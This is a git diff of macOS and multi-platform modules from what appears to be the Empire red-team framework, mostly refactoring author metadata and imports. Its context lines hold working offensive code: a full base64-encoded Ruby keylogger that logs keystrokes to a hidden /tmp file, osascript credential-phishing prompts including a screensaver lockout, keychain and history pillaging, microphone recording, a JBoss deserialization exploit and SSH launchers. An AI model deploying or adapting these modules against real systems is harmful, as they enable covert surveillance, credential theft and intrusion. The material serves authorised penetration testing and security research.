--- a/empire/server/modules/python/collection/osx/keylogger.yaml
+++ b/empire/server/modules/python/collection/osx/keylogger.yaml
@@ -1,12 +1,18 @@
name: Keylogger
authors:
- - joev
- - '@harmj0y'
- - '@Salbei_'
-description: Logs keystrokes to the specified file. Ruby based and heavily adapted
- from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging is
- finished and download the specified LogFile.
+ - name: joev
+ handle: ''
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@Salbei_'
+ link: ''
+description: Logs keystrokes to the specified file. Ruby based and heavily adapted from MSF's osx/capture/keylog_recorder.
+ Kill the resulting PID when keylogging is finished and download the specified LogFile.
software: ''
+tactics: []
techniques:
- T1056
background: false
@@ -26,10 +32,10 @@ options:
description: Text file to log keystrokes out to.
required: true
value: /tmp/.debug.db
-script: |
+script: |-
import os,time
output = os.popen('echo "require \\\'base64\\\';eval(Base64.decode64(\\\'ZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8NCiAgUlVCWV9WRVJTSU9OLnRvX2YgPj0gMS45ICYmIFJVQllfVkVSU0lPTi50b19mPDIuMw0KZW5kDQpkZWYgcnVieV8yXzNfb3JfaGlnaGVyPw0KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAyLjMNCmVuZA0KcmVxdWlyZSAndGhyZWFkJw0KcmVxdWlyZSAnZmlkZGxlJyBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQpyZXF1aXJlICdmaWRkbGUvaW1wb3J0JyBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQpyZXF1aXJlICdkbCcgaWYgbm90IHJ1YnlfMl8zX29yX2hpZ2hlcj8NCnJlcXVpcmUgJ2RsL2ltcG9ydCcgaWYgbm90IHJ1YnlfMl8zX29yX2hpZ2hlcj8NCkltcG9ydGVyID0gaWYgZGVmaW5lZD8oREw6OkltcG9ydGVyKSB0aGVuIGV4dGVuZCBETDo6SW1wb3J0ZXIgZWxzaWYgZGVmaW5lZD8oRmlkZGxlOjpJbXBvcnRlcikgdGhlbiBleHRlbmQgRmlkZGxlOjpJbXBvcnRlciBlbHNlIERMOjpJbXBvcnRhYmxlIGVuZA0KZGVmIG1hbGxvY3Moc2l6ZSkNCiAgaWYgcnVieV8yXzNfb3JfaGlnaGVyPw0KICAgIEZpZGRsZTo6UG9pbnRlci5tYWxsb2Moc2l6ZSkNCiAgZWxzaWYgcnVieV8xXzlfb3JfaGlnaGVyPyANCiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkNCiAgZWxzZQ0KICAgIERMOjptYWxsb2Moc2l6ZSkNCiAgZW5kDQplbmQNCmlmIG5vdCBydWJ5XzFfOV9vcl9oaWdoZXI/DQogIG1vZHVsZSBETA0KICAgIG1vZHVsZSBJbXBvcnRhYmxlDQogICAgICBkZWYgbWV0aG9kX21pc3NpbmcobWV0aCwgKmFyZ3MsICZibG9jaykNCiAgICAgICAgc3RyID0gbWV0aC50b19zDQogICAgICAgIGxvd2VyID0gc3RyWzAsMV0uZG93bmNhc2UgKyBzdHJbMS4uLTFdDQogICAgICAgIGlmIHNlbGYucmVzcG9uZF90bz8gbG93ZXINCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzDQogICAgICAgIGVsc2UNCiAgICAgICAgICBzdXBlcg0KICAgICAgICBlbmQNCiAgICAgIGVuZA0KICAgIGVuZA0KICBlbmQNCmVuZA0KU01fS0NIUl9DQUNIRSA9IDM4DQpTTV9DVVJSRU5UX1NDUklQVCA9IC0yDQpNQVhfQVBQX05BTUUgPSA4MA0KbW9kdWxlIENhcmJvbg0KICBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQogICAgZXh0ZW5kIEZpZGRsZTo6SW1wb3J0ZXINCiAgZWxzZQ0KICAgIGV4dGVuZCBETDo6SW1wb3J0ZXINCiAgZW5kDQogIGRsbG9hZCAnL1N5c3RlbS9MaWJyYXJ5L0ZyYW1ld29ya3MvQ2FyYm9uLmZyYW1ld29yay9DYXJib24nDQogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJw0KICBleHRlcm4gJ3ZvaWQgR2V0RnJvbnRQcm9jZXNzKFByb2Nlc3NTZXJpYWxOdW1iZXIgKiknDQogIGV4dGVybiAndm9pZCBHZXRLZXlzKHZvaWQgKiknDQogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJw0KICBleHRlcm4gJ3Vuc2lnbmVkIGNoYXIgS2V5VHJhbnNsYXRlKHZvaWQgKiwgaW50LCB2b2lkICopJw0KICBleHRlcm4gJ3Vuc2lnbmVkIGNoYXIgQ0ZTdHJpbmdHZXRDU3RyaW5nKHZvaWQgKiwgdm9pZCAqLCBpbnQsIGludCknDQogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknDQplbmQNCnBzbiA9IG1hbGxvY3MoMTYpDQpuYW1lID0gbWFsbG9jcygxNikNCm5hbWVfY3N0ciA9IG1hbGxvY3MoTUFYX0FQUF9OQU1FKQ0Ka2V5bWFwID0gbWFsbG9jcygxNikNCnN0YXRlID0gbWFsbG9jcyg4KQ0KaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQ0KcHJldl9kb3duID0gSGFzaC5uZXcoZmFsc2UpDQpsYXN0V2luZG93ID0gIiINCndoaWxlICh0cnVlKSBkbw0KICBDYXJib24uR2V0RnJvbnRQcm9jZXNzKHBzbi5yZWYpDQogIENhcmJvbi5Db3B5UHJvY2Vzc05hbWUocHNuLnJlZiwgbmFtZS5yZWYpDQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkNCiAgc3RyX2xlbiA9IENhcmJvbi5DRlN0cmluZ0dldExlbmd0aChuYW1lKQ0KICBjb3BpZWQgPSBDYXJib24uQ0ZTdHJpbmdHZXRDU3RyaW5nKG5hbWUsIG5hbWVfY3N0ciwgTUFYX0FQUF9OQU1FLCAweDA4MDAwMTAwKSA+IDANCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQNCiAgYnl0ZXMgPSBrZXltYXAudG9fc3RyDQogIGNhcF9mbGFnID0gZmFsc2UNCiAgYXNjaWkgPSAwDQogIGN0cmxjaGFyID0gIiINCiAgKDAuLi4xMjgpLmVhY2ggZG8gfGt8DQogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApDQogICAgICBpZiBub3QgcHJldl9kb3duW2tdDQogICAgICAgIGNhc2Ugaw0KICAgICAgICAgIHdoZW4gMzYNCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltlbnRlcl0iDQogICAgICAgICAgd2hlbiA0OA0KICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iDQogICAgICAgICAgd2hlbiA0OQ0KICAgICAgICAgICAgY3RybGNoYXIgPSAiICINCiAgICAgICAgICB3aGVuIDUxDQogICAgICAgICAgICBjdHJsY2hhciA9ICJbZGVsZXRlXSINCiAgICAgICAgICB3aGVuIDUzDQogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSINCiAgICAgICAgICB3aGVuIDU1DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbY21kXSINCiAgICAgICAgICB3aGVuIDU2DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbc2hpZnRdIg0KICAgICAgICAgIHdoZW4gNTcNCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSINCiAgICAgICAgICB3aGVuIDU4DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbb3B0aW9uXSINCiAgICAgICAgICB3aGVuIDU5DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbY3RybF0iDQogICAgICAgICAgd2hlbiA2Mw0KICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSINCiAgICAgICAgICBlbHNlDQogICAgICAgICAgICBjdHJsY2hhciA9ICIiDQogICAgICAgIGVuZA0KICAgICAgICBpZiBjdHJsY2hhciA9PSAiIiBhbmQgYXNjaWkgPT0gMA0KICAgICAgICAgIGtjaHIgPSBDYXJib24uR2V0U2NyaXB0VmFyaWFibGUoU01fS0NIUl9DQUNIRSwgU01fQ1VSUkVOVF9TQ1JJUFQpDQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpDQogICAgICAgICAgY3Vycl9hc2NpaSA9IGN1cnJfYXNjaWkgPj4gMTYgaWYgY3Vycl9hc2NpaSA8IDENCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlDQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwDQogICAgICAgICAgICBjYXBfZmxhZyA9IHRydWUNCiAgICAgICAgICBlbHNlDQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkNCiAgICAgICAgICBlbmQNCiAgICAgICAgZWxzaWYgY3RybGNoYXIgIT0gIiINCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlDQogICAgICAgIGVuZA0KICAgICAgZW5kDQogICAgZWxzZQ0KICAgICAgcHJldl9kb3duW2tdID0gZmFsc2UNCiAgICBlbmQNCiAgZW5kDQogIGlmIGFzY2lpICE9IDAgb3IgY3RybGNoYXIgIT0gIiINCiAgICBpZiBhcHBfbmFtZSAhPSBsYXN0V2luZG93DQogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiINCiAgICAgIGxhc3RXaW5kb3cgPSBhcHBfbmFtZQ0KICAgIGVuZA0KICAgIGlmIGN0cmxjaGFyICE9ICIiDQogICAgICBwcmludCAiI3tjdHJsY2hhcn0iDQogICAgZWxzaWYgYXNjaWkgPiAzMiBhbmQgYXNjaWkgPCAxMjcNCiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kDQogICAgICBwcmludCAiI3tjfSINCiAgICBlbHNlDQogICAgICBwcmludCAiWyN7YXNjaWl9XSINCiAgICBlbmQNCiAgICAkc3Rkb3V0LmZsdXNoDQogIGVuZA0KICBLZXJuZWwuc2xlZXAoMC4wMSkNCmVuZA0KDQo=\\\'))" | ruby > {{ LogFile }} 2>&1 &').read()
time.sleep(1)
pids = os.popen('ps aux | grep " ruby" | grep -v grep').read()
print(pids)
- print("kill ruby PID and download {{ LogFile }} when completed")
\ No newline at end of file
+ print("kill ruby PID and download {{ LogFile }} when completed")
diff --git a/empire/server/modules/python/collection/osx/native_screenshot.yaml b/empire/server/modules/python/collection/osx/native_screenshot.yaml
index 98053b0a4..2376a053a 100644
--- a/empire/server/modules/python/collection/osx/native_screenshot.yaml
+++ b/empire/server/modules/python/collection/osx/native_screenshot.yaml
@@ -1,9 +1,11 @@
name: NativeScreenshot
authors:
- - '@xorrior'
-description: Takes a screenshot of an OSX desktop using the Python Quartz libraries
- and returns the data.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: Takes a screenshot of an OSX desktop using the Python Quartz libraries and returns the data.
software: ''
+tactics: []
techniques:
- T1113
background: false
@@ -12,13 +14,13 @@ needs_admin: false
opsec_safe: false
language: python
min_language_version: '3.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
required: true
value: ''
-script: |
+script: |-
try:
import Quartz
import Quartz.CoreGraphics as CG
@@ -40,4 +42,4 @@ script: |
imageData = imageData.decode('latin-1')
time.sleep(.1)
print(imageData)
- time.sleep(.1)
\ No newline at end of file
+ time.sleep(.1)
diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.py b/empire/server/modules/python/collection/osx/native_screenshot_mss.py
index 463d4b156..8ca86db4f 100644
--- a/empire/server/modules/python/collection/osx/native_screenshot_mss.py
+++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.py
@@ -2,14 +2,14 @@
from builtins import object
from typing import Dict, Optional, Tuple
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml b/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml
index cd86c6ab2..0d6038e9f 100644
--- a/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml
+++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml
@@ -1,9 +1,12 @@
name: NativeScreenshotMSS
authors:
- - '@xorrior'
-description: Takes a screenshot of an OSX desktop using the Python mss module. The
- python-mss module utilizes ctypes and the CoreFoundation library.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: Takes a screenshot of an OSX desktop using the Python mss module. The python-mss module utilizes ctypes and the
+ CoreFoundation library.
software: ''
+tactics: []
techniques:
- T1113
background: false
@@ -12,7 +15,7 @@ needs_admin: false
opsec_safe: false
language: python
min_language_version: '2.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
@@ -27,4 +30,4 @@ options:
required: true
value: '-1'
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/collection/osx/osx_mic_record.yaml b/empire/server/modules/python/collection/osx/osx_mic_record.yaml
index f4d49c96e..7e21ef620 100644
--- a/empire/server/modules/python/collection/osx/osx_mic_record.yaml
+++ b/empire/server/modules/python/collection/osx/osx_mic_record.yaml
@@ -1,9 +1,11 @@
name: osx_mic_record
authors:
- - '@s0lst1c3'
-description: Records audio through the MacOS webcam mic by leveraging the Apple AVFoundation
- API.
+ - name: ''
+ handle: '@s0lst1c3'
+ link: ''
+description: Records audio through the MacOS webcam mic by leveraging the Apple AVFoundation API.
software: ''
+tactics: []
techniques:
- T1512
background: false
@@ -13,24 +15,22 @@ opsec_safe: false
language: python
min_language_version: '2.6'
comments:
- - Executed within memory, although recorded audio will touch disk while the script
- is running. This is unlikely to trip A/V, although a user may notice the audio file
- if it stored in an obvious location.
+ - Executed within memory, although recorded audio will touch disk while the script is running. This is unlikely to trip
+ A/V, although a user may notice the audio file if it stored in an obvious location.
options:
- name: Agent
description: Agent to record audio from.
required: true
value: ''
- name: OutputDir
- description: 'Directory on remote machine in recorded audio should be saved. (Default:
- /tmp)'
+ description: 'Directory on remote machine in recorded audio should be saved. (Default: /tmp)'
required: false
value: /tmp
- name: RecordTime
description: 'The length of the audio recording in seconds. (Default: 5)'
required: false
value: '5'
-script: |
+script: |-
import objc
import objc._objc
import time
@@ -95,4 +95,4 @@ script: |
# return captured audio to agent
print(captured_audio)
- del pool
\ No newline at end of file
+ del pool
diff --git a/empire/server/modules/python/collection/osx/pillage_user.yaml b/empire/server/modules/python/collection/osx/pillage_user.yaml
index 596c4923d..a57608f27 100644
--- a/empire/server/modules/python/collection/osx/pillage_user.yaml
+++ b/empire/server/modules/python/collection/osx/pillage_user.yaml
@@ -1,10 +1,12 @@
name: PillageUser
authors:
- - '@harmj0y'
-description: Pillages the current user for their keychain, bash_history, ssh known
- hosts, recent folders, etc. For logon.keychain, use https://github.com/n0fate/chainbreaker
- .For other .plist files, check https://davidkoepi.wordpress.com/2013/07/06/macforensics5/
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Pillages the current user for their keychain, bash_history, ssh known hosts, recent folders, etc. For logon.keychain,
+ use https://github.com/n0fate/chainbreaker .For other .plist files, check https://davidkoepi.wordpress.com/2013/07/06/macforensics5/
software: ''
+tactics: []
techniques:
- T1139
background: false
@@ -21,8 +23,7 @@ options:
required: true
value: ''
- name: Sleep
- description: Switch. Sleep the agent's normal interval between downloads, otherwise
- use one blast.
+ description: Switch. Sleep the agent's normal interval between downloads, otherwise use one blast.
required: false
value: 'True'
- name: AllUsers
diff --git a/empire/server/modules/python/collection/osx/prompt.py b/empire/server/modules/python/collection/osx/prompt.py
index 575e21506..ca3c546b1 100644
--- a/empire/server/modules/python/collection/osx/prompt.py
+++ b/empire/server/modules/python/collection/osx/prompt.py
@@ -1,19 +1,18 @@
from builtins import object
from typing import Dict, Optional, Tuple
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> Tuple[Optional[str], Optional[str]]:
-
listApps = params["ListApps"]
appName = params["AppName"]
sandboxMode = params["SandboxMode"]
diff --git a/empire/server/modules/python/collection/osx/prompt.yaml b/empire/server/modules/python/collection/osx/prompt.yaml
index 31a51eecf..c7ae72a8f 100644
--- a/empire/server/modules/python/collection/osx/prompt.yaml
+++ b/empire/server/modules/python/collection/osx/prompt.yaml
@@ -1,10 +1,14 @@
name: Prompt
authors:
- - '@FuzzyNop'
- - '@harmj0y'
-description: Launches a specified application with an prompt for credentials with
- osascript.
+ - name: ''
+ handle: '@FuzzyNop'
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Launches a specified application with an prompt for credentials with osascript.
software: ''
+tactics: []
techniques:
- T1141
- T1514
diff --git a/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml b/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml
index 43a32913f..ea5d9eb9a 100644
--- a/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml
+++ b/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml
@@ -1,13 +1,21 @@
name: ScreensaverAlleyOop
authors:
- - '@FuzzyNop'
- - '@harmj0y'
- - '@enigma0x3'
- - '@Killswitch-GUI'
-description: Launches a screensaver with a prompt for credentials with osascript.
- This locks the user out until the password can unlock the user keychain. This allows
- you to prevent Sudo/su failed logon attempts. (credentials till I get them!)
+ - name: ''
+ handle: '@FuzzyNop'
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@enigma0x3'
+ link: ''
+ - name: ''
+ handle: '@Killswitch-GUI'
+ link: ''
+description: Launches a screensaver with a prompt for credentials with osascript. This locks the user out until the password
+ can unlock the user keychain. This allows you to prevent Sudo/su failed logon attempts. (credentials till I get them!)
software: ''
+tactics: []
techniques:
- T1113
background: false
@@ -32,7 +40,7 @@ options:
description: Agent to execute module on.
required: true
value: 'False'
-script: |
+script: |-
import subprocess
import time
import sys
@@ -110,4 +118,4 @@ script: |
exitCount = {{ ExitCount }}
verbose = {{ Verbose }}
- run(exitCount, verbose=verbose)
\ No newline at end of file
+ run(exitCount, verbose=verbose)
diff --git a/empire/server/modules/python/collection/osx/screenshot.yaml b/empire/server/modules/python/collection/osx/screenshot.yaml
index 943ea06f2..7ba61d986 100644
--- a/empire/server/modules/python/collection/osx/screenshot.yaml
+++ b/empire/server/modules/python/collection/osx/screenshot.yaml
@@ -1,9 +1,11 @@
name: Screenshot
authors:
- - '@harmj0y'
-description: Takes a screenshot of an OSX desktop using screencapture and returns
- the data.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Takes a screenshot of an OSX desktop using screencapture and returns the data.
software: ''
+tactics: []
techniques:
- T1113
background: false
@@ -12,7 +14,7 @@ needs_admin: false
opsec_safe: false
language: python
min_language_version: '2.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
diff --git a/empire/server/modules/python/collection/osx/search_email.py b/empire/server/modules/python/collection/osx/search_email.py
index 7150474ea..4f8507765 100644
--- a/empire/server/modules/python/collection/osx/search_email.py
+++ b/empire/server/modules/python/collection/osx/search_email.py
@@ -1,14 +1,14 @@
from builtins import object
from typing import Dict, Optional, Tuple
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
diff --git a/empire/server/modules/python/collection/osx/search_email.yaml b/empire/server/modules/python/collection/osx/search_email.yaml
index 9f8263792..8638abc87 100644
--- a/empire/server/modules/python/collection/osx/search_email.yaml
+++ b/empire/server/modules/python/collection/osx/search_email.yaml
@@ -1,9 +1,11 @@
name: SearchEmail
authors:
- - '@harmj0y'
-description: Searches for Mail .emlx messages, optionally only returning messages
- with the specified SearchTerm.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Searches for Mail .emlx messages, optionally only returning messages with the specified SearchTerm.
software: ''
+tactics: []
techniques:
- T1114
background: false
@@ -24,4 +26,4 @@ options:
required: false
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/collection/osx/sniffer.py b/empire/server/modules/python/collection/osx/sniffer.py
index ea39c3712..f4df6aaba 100644
--- a/empire/server/modules/python/collection/osx/sniffer.py
+++ b/empire/server/modules/python/collection/osx/sniffer.py
@@ -1,14 +1,14 @@
from builtins import object
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
diff --git a/empire/server/modules/python/collection/osx/sniffer.yaml b/empire/server/modules/python/collection/osx/sniffer.yaml
index 11269dbb8..704a2b662 100644
--- a/empire/server/modules/python/collection/osx/sniffer.yaml
+++ b/empire/server/modules/python/collection/osx/sniffer.yaml
@@ -1,9 +1,14 @@
name: PcapSniffer
authors:
- - Alex Rymdeko-Harvey
- - '@Killswitch-GUI'
+ - name: Alex Rymdeko-Harvey
+ handle: ''
+ link: ''
+ - name: ''
+ handle: '@Killswitch-GUI'
+ link: ''
description: This module will do a full network stack capture.
software: ''
+tactics: []
techniques:
- T1040
background: false
@@ -40,9 +45,8 @@ options:
required: true
value: /usr/lib/libSystem.B.dylib
- name: Debug
- description: Enable to get verbose message status (Dont enable OutputExtension for
- this).
+ description: Enable to get verbose message status (Dont enable OutputExtension for this).
required: true
value: 'False'
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/collection/osx/webcam.yaml b/empire/server/modules/python/collection/osx/webcam.yaml
index 7e74cd37c..65dd5d2fa 100644
--- a/empire/server/modules/python/collection/osx/webcam.yaml
+++ b/empire/server/modules/python/collection/osx/webcam.yaml
@@ -1,8 +1,11 @@
name: Webcam
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Takes a picture of a person through OSX's webcam with an ImageSnap binary.
software: ''
+tactics: []
techniques:
- T1125
background: false
diff --git a/empire/server/modules/python/exploit/web/jboss_jmx.yaml b/empire/server/modules/python/exploit/web/jboss_jmx.yaml
index 3ca7d175c..1cb806f9a 100644
--- a/empire/server/modules/python/exploit/web/jboss_jmx.yaml
+++ b/empire/server/modules/python/exploit/web/jboss_jmx.yaml
@@ -1,8 +1,11 @@
name: Jboss JMXInvoker Java Serialization Exploitation
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Exploit JBoss java serialization flaw. Requires upload of ysoserial payload.
software: ''
+tactics: []
techniques:
- T1210
background: false
@@ -26,7 +29,7 @@ options:
description: Path to ysoserial payload.
required: true
value: ''
-script: |
+script: |-
import urllib2
# Read payload file into variable
@@ -48,4 +51,4 @@ script: |
except Exception as e:
print("Failure sending payload: " + str(e))
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml b/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml
index 8316551a5..ae70dddb3 100644
--- a/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml
+++ b/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml
@@ -1,8 +1,11 @@
name: SSHCommand
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will send a command via ssh.
software: ''
+tactics: []
techniques:
- T1021
background: true
@@ -30,7 +33,7 @@ options:
description: Command
required: true
value: id
-script: |
+script: |-
import os
import pty
@@ -62,4 +65,4 @@ script: |
status, output = wall('{{ Login }}','{{ Password }}')
print(status)
- print(output)
\ No newline at end of file
+ print(output)
diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py
index 6a7b3d252..897c72809 100644
--- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py
+++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py
@@ -3,7 +3,7 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -11,7 +11,7 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml
index 34c7b570f..2a41e0a3e 100644
--- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml
+++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml
@@ -1,8 +1,11 @@
name: SSHLauncher
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will send an launcher via ssh.
software: ''
+tactics: []
techniques:
- T1021
background: true
@@ -31,14 +34,12 @@ options:
required: true
value: ''
- name: SafeChecks
- description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process
- if true. Defaults to True.
+ description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
required: true
value: 'True'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/management/multi/kerberos_inject.yaml b/empire/server/modules/python/management/multi/kerberos_inject.yaml
index bdf65e20f..e547195b2 100644
--- a/empire/server/modules/python/management/multi/kerberos_inject.yaml
+++ b/empire/server/modules/python/management/multi/kerberos_inject.yaml
@@ -1,8 +1,11 @@
name: Kerberos inject
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Generates a kerberos keytab and injects it into the current runspace.
software: ''
+tactics: []
techniques:
- T1055
background: false
@@ -30,7 +33,7 @@ options:
description: NTLM Hash for the principal.
required: true
value: ''
-script: |
+script: |-
import subprocess
try:
print("Creating Keytab..")
@@ -48,4 +51,4 @@ script: |
print("")
print("Keytab injected into current session!")
except Exception as e:
- print(e)
\ No newline at end of file
+ print(e)
diff --git a/empire/server/modules/python/management/multi/socks.yaml b/empire/server/modules/python/management/multi/socks.yaml
index 6953c098a..9020fe330 100644
--- a/empire/server/modules/python/management/multi/socks.yaml
+++ b/empire/server/modules/python/management/multi/socks.yaml
@@ -1,8 +1,11 @@
name: SOCKSv5 Proxy
authors:
- - klustic
+ - name: klustic
+ handle: ''
+ link: ''
description: Spawn an AROX relay to extend a SOCKS proxy through your agent.
software: ''
+tactics: []
techniques:
- T1090
background: true
@@ -12,8 +15,8 @@ opsec_safe: true
language: python
min_language_version: '3'
comments:
- - You must set up a standalone AlmondRocks server for this to connect to! Refer to
- the AlmondRocks Github project for more details.
+ - You must set up a standalone AlmondRocks server for this to connect to! Refer to the AlmondRocks Github project for more
+ details.
- 'Repo: https://github.com/klustic/AlmondRocks'
options:
- name: Agent
@@ -24,4 +27,4 @@ options:
description: FQDN/IPv4 and port of the AROX server (e.g. 1.2.3.4:443 or hax0r.com:443)
required: true
value: ''
-script_path: 'python/management/socks.py'
\ No newline at end of file
+script_path: python/management/socks.py
diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py
index 5c4f337f1..30b76a9d5 100644
--- a/empire/server/modules/python/management/multi/spawn.py
+++ b/empire/server/modules/python/management/multi/spawn.py
@@ -3,7 +3,7 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -11,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# extract all of our options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -29,7 +28,6 @@ def generate(
if launcher == "":
return handle_error_message("[!] Error in launcher command generation.")
else:
-
launcher = launcher.replace('"', '\\"')
script = 'import os; os.system("%s")' % (launcher)
diff --git a/empire/server/modules/python/management/multi/spawn.yaml b/empire/server/modules/python/management/multi/spawn.yaml
index 9420f92f6..236c351f8 100644
--- a/empire/server/modules/python/management/multi/spawn.yaml
+++ b/empire/server/modules/python/management/multi/spawn.yaml
@@ -1,8 +1,11 @@
name: Spawn
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Spawns a new Empire agent.
software: ''
+tactics: []
techniques:
